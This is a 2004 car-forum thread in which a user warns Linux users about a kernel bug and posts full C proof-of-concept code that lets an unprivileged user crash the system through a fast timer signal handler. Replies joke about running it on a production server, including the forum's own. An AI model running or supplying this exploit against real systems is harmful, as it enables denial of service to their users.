Linux Kernal crasher - Ford Forums - Mustang Forum, Ford Trucks, Ford Focus and Ford Cars
Ford Forum Ford Forum

» Auto Insurance
» Featured Product
» Wheel & Tire Center

Go Back   Ford Forums - Mustang Forum, Ford Trucks, Ford Focus and Ford Cars > Fordforums Community > The Pub
Register Home Forum Active Topics Photo Gallery Auto Loans Garage Mark Forums Read Auto EscrowInsurance

The Pub For General Discussion

FordForums.com is the premier Ford Forum on the internet. Registered Users do not see the above ads.
Reply
 
LinkBack Thread Tools Display Modes
Old 06-15-2004, 22:28   #1 (permalink)
Own the road
 
myte8's Avatar
 
Join Date: Jun 2003
Location: Victoria
Age: 43
Posts: 997
Linux Kernal crasher

Something for all you Linux users to be aware of.

http://linuxreviews.org/news/2004-06...ndex.html#toc1

Don't compile this on a linux box and run it, even as an underprivileged user:

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}
__________________
T3 TE50 - For more inches STROKE IT

225.7rwkw with BluePower tune
myte8 is offline   Reply With Quote
Sponsored Links
Advertisement
 
Old 06-17-2004, 03:52   #2 (permalink)
AU3 Falcon XR8 Ute (auto)
 
Steve_T's Avatar
 
Join Date: Nov 2002
Location: NT, Australia
Posts: 357
Re: Linux Kernal crasher

Thanks for the tip :)

I'd seen an announcement of this bug somewhere else the other day but hadn't seen the code or details about it yet.

Guess there is a good thing about having my main system still running 2.2.x

Steve.
Steve_T is offline   Reply With Quote
Old 06-17-2004, 03:56   #3 (permalink)
Just give me an excuse...
 
Night_Lurker's Avatar
 
Join Date: Oct 2002
Location: struct melbourne hallam;
Age: 33
Posts: 3,949
Re: Linux Kernal crasher

I am running 2.6.0 and every few days the kernel just crashes, the system hangs and a reboot is needed. lucky i just converted all the filesystems to ext3, makes the fs check quicker. i have seen this the other day but never read it. hopefully it solves the probs i am having...
__________________
Truly the deepest kiss one can feel, and the one most sought after, is the one you will not survive....
Night_Lurker is offline   Reply With Quote
Old 06-17-2004, 05:11   #4 (permalink)
Mmm, high pressure wash.
 
3Toed's Avatar
 
Join Date: Nov 2001
Location: Sydney, Australia
Age: 39
Posts: 3,086
Re: Linux Kernal crasher

ROFL @ this tidbit of advice:

Quote:
If your system is a production server with 1000 on line users then do not test this code on that box.
But muuum, I wanna try it...
__________________
Slothmobile™ n. (slōthmōbēl)
Off-white EL Series II Falcon GLi Sapphire (4.0L Slothmatic™) with K&N Filtercharger, Tickford Sports Suspension, DBA Longlife Gold (front), DBA Longlife Slotted (rear) and Bendix Ultimates all round. Driven by The Slothman™.

Co-Founding Member of 3FB Inc, or the Ford Forums Food Bandits, where cruising, eating and talking shite is what it's all about. Click here to visit the official (albeit slightly outdated) website!


Quote:
Originally Posted by Team GT Media
We love having 3FB Inc guys around!
3Toed is offline   Reply With Quote
Old 06-17-2004, 10:41   #5 (permalink)
***** Idiot....
 
LunaticSVT's Avatar
 
Join Date: Feb 2001
Location: The Sticks of Central TX
Posts: 10,561
Re: Linux Kernal crasher

It would be fun to try on a production server. Hrmmm shall i do FF.
LunaticSVT is offline   Reply With Quote
Old 06-17-2004, 15:43   #6 (permalink)
Own the road
 
myte8's Avatar
 
Join Date: Jun 2003
Location: Victoria
Age: 43
Posts: 997
Re: Linux Kernal crasher

Go for it, aslong as it's at around 3am AEST, then it should fine. For us downunder that is
__________________
T3 TE50 - For more inches STROKE IT

225.7rwkw with BluePower tune
myte8 is offline   Reply With Quote
Sponsored Links
Advertisement
 
Reply

  Ford Forums - Mustang Forum, Ford Trucks, Ford Focus and Ford Cars > Fordforums Community > The Pub



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Wireless, Linux to help prevent V8 Supercar crashes Aussie Falcon Ford Racing Across the Globe 4 11-23-2003 23:25
Linux or Windows Rakija The Pub 39 11-21-2003 13:40
how do you uninstall linux??? MrPlow2 The Pub 9 05-06-2002 23:10

Powered by vBadvanced CMPS v3.2.2

All times are GMT -7. The time now is 05:14.



Powered by vBulletin® Copyright ©2000 - 2014, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO 3.6.0
Garage Plus vBulletin Plugins by Drive Thru Online, Inc.